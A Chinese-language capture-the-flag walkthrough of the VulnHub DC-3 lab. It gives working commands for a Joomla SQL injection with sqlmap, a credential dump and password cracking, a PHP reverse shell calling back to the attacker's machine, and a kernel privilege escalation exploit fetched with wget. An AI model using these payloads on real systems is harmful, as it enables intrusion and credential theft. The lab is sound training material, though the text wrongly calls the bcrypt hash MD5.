由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
环境安装
前面安装了老版本的DC-3几次,nmap都扫描不到机器,后来琢磨了很久也找不到问题,然后我去官网重新下载了个就没问题了。
官网地址:https://www.vulnhub.com/entry/dc-32,312/
KALI和DC-3都用NAT模式.
DC-3需要多修改一些东西,把IDE里面的改成IDE 0:0
都完成后开启KALI与DC-3
寻找Flag
信息收集
1.首先确认kali与DC-3所在网段
ip add
确认kali与DC-3所在网段为192.168.79.0/24网段
2.查找DC-3 ip 可以使用nmap 或者 arp-scan
方法一:
arp-scan -l
方法二:
nmap -sP 192.168.79.0/24
最终可以确认
kali :192.168.79.128
DC-3 :192.168.79.131
3.扫描DC-3开启的服务
nmap -v -A 192.168.79.131
通过扫描可以发现 DC-3开启了80端口 并且使用了Joomla! cms
4.访问网站192.168.79.131
5.扫描敏感目录看看
我这里使用的是7kbscan-WebPathBrute.1.6.2用御剑也是一样的
找到后台登录网站。
因为是常见的cms,所以我们直接扫Joomla! cms常见漏洞
漏洞扫描
1.安装onlinetool
地址 https://github.com/iceyhexman/onlinetools
我们这里kali 192.168.79.128 安教程部署就可以了
git clone https://github.com/iceyhexman/onlinetools.git
cd onlinetools
pip3 install -r requirements.txt
nohup python3 main.py &
2.安装完成后访问 http://192.168.79.128:8000/
3.使用里面cms漏洞扫描
4.测试payload的有效性
payload:
http://192.168.79.131//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,Md5(1234)),0)
确认payload有效
5.既然是SQL注入漏洞 配合sqlmap 以及前面目录爆破出来的后台登录网站,来登录后台
我这里使用是sqlmap windows的版本
python sqlmap.py -u "http://192.168.79.131//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" --dbs//*表示注入位置
//查询所有数据库
得到下面5个数据库 既然是joomla! 那我们也顺其自然的查询joomladb 数据库
得到下面5个数据库 既然是joomla! 那我们也顺其自然的查询joomladb 数据库
python sqlmap.py -u "http://192.168.79.131//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D "joomladb" --tables
//查joomladb 数据库下面的表
一共有8 90条 有一个# _users 看样子里面就应该有相关后台信息
接下来查询# _users表内的列名
python sqlmap.py -u "http://192.168.79.131//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D "joomladb" -T "# __users" --columns
//查询# _users表内的列名
都是一路y或者回车
确定列名 账号密码一般为“username,password”
获得表中的账号密码
python sqlmap.py -u "http://192.168.79.131//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D "joomladb" -T "# __users" -C "username,password" --dump
//读取指定字段内容
获得账号密码
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| admin | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu |
+----------+--------------------------------------------------------------+
6.密码为md5加密 可以使用kali内的john 解密
创建文件
touch admin.txt # 创建文件
vi admin.txt # 编辑
john admin.txt # 破解ps:
因为我以前破解过使用所以显示这个
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
No password hashes left to crack (see FAQ)
这是以及破解过的意思
john --show admin.txt # 查看admin.txt以前破解过的结果
得到密码为 :snoopy
得到密码为 :snoopy
7.登录后台
反弹shell
通过对后台的各种查询,发现Extensions->Templates里面的模板可以执行PHP脚本
随便找都可以,里面路径都有写
当系统没有禁用proc_popen的时候,我们是可以借助proc_popen轻松反弹这样的一个shell的。
$sock = fsockopen("192.168.79.128", "5555");$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
之后保存访问http://192.168.79.131/index.php
kali内使用nc 接受反弹的shell
nc -lvvp 5555
浏览器访问http://192.168.79.131/index.php
可以发现kali内接收到shell
python -c "import pty;pty.spawn('/bin/bash')"
//使用python 弄交互式页面
发现权限不够
提权
SUID啥的都不行,于是考虑系统漏洞提权
cat /etc/*release # 查看发行版信息
cat /proc/version # 查看内核版本的全部信息
可以判断为Ubuntu 16.04 LTS 内核为Linux 4.4.0-21
查看kali本地漏洞库里面的exp
searchsploit Ubuntu 16.04
对应版本的几个都试了 发现 39772.txt可以
查看exp
cat /usr/share/exploitdb/exploits/linux/local/39772.txt
写了exp地址
本地下载即可
kali好像下载不了 我本地下载 然后拉到kali里面
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
开启apache
systemctl start apache2.service
移动39772.zip到指定的apache的目录下
mv 39772.zip /var/www/html
浏览器访问 kali IP:192.168.79.128
复制下载链接
http://192.168.79.128/39772.zip
回到前面的DC-3的shell中下载刚刚上传的exp
wget http://192.168.79.128/39772.zip
解压exp
unzip 39772.zip # 解压39772.zip
cd 39772 # 进入39772
tar -xvf exploit.tar # 解压缩exploit.tar
进入 ebpf_mapfd_doubleput_exploit 运行exp
cd ebpf_mapfd_doubleput_exploit
运行方法 前面kali里面 cat /usr/share/exploitdb/exploits/linux/local/39772.txt 文件内写了
运行compile.sh , doubleput即可
./compile.sh
./doubleput
等一两分钟就可以了
FLAG
root目录下有flag,获得flag
cd /root
cat the-flag.txt
总结
nmap,arp-scan主机扫描
cms漏洞扫描
sql注入漏洞sqlmap配合payload
敏感目录爆破
php反弹shell的编写
系统漏洞提权
安恒信息
✦
杭州亚运会网络安全服务官方合作伙伴
成都大运会网络信息安全类官方赞助商
武汉军运会、北京一带一路峰会
青岛上合峰会、上海进博会
厦门金砖峰会、G20杭州峰会
支撑单位北京奥运会等近百场国家级
重大活动网络安保支撑单位
END
长按识别二维码关注我们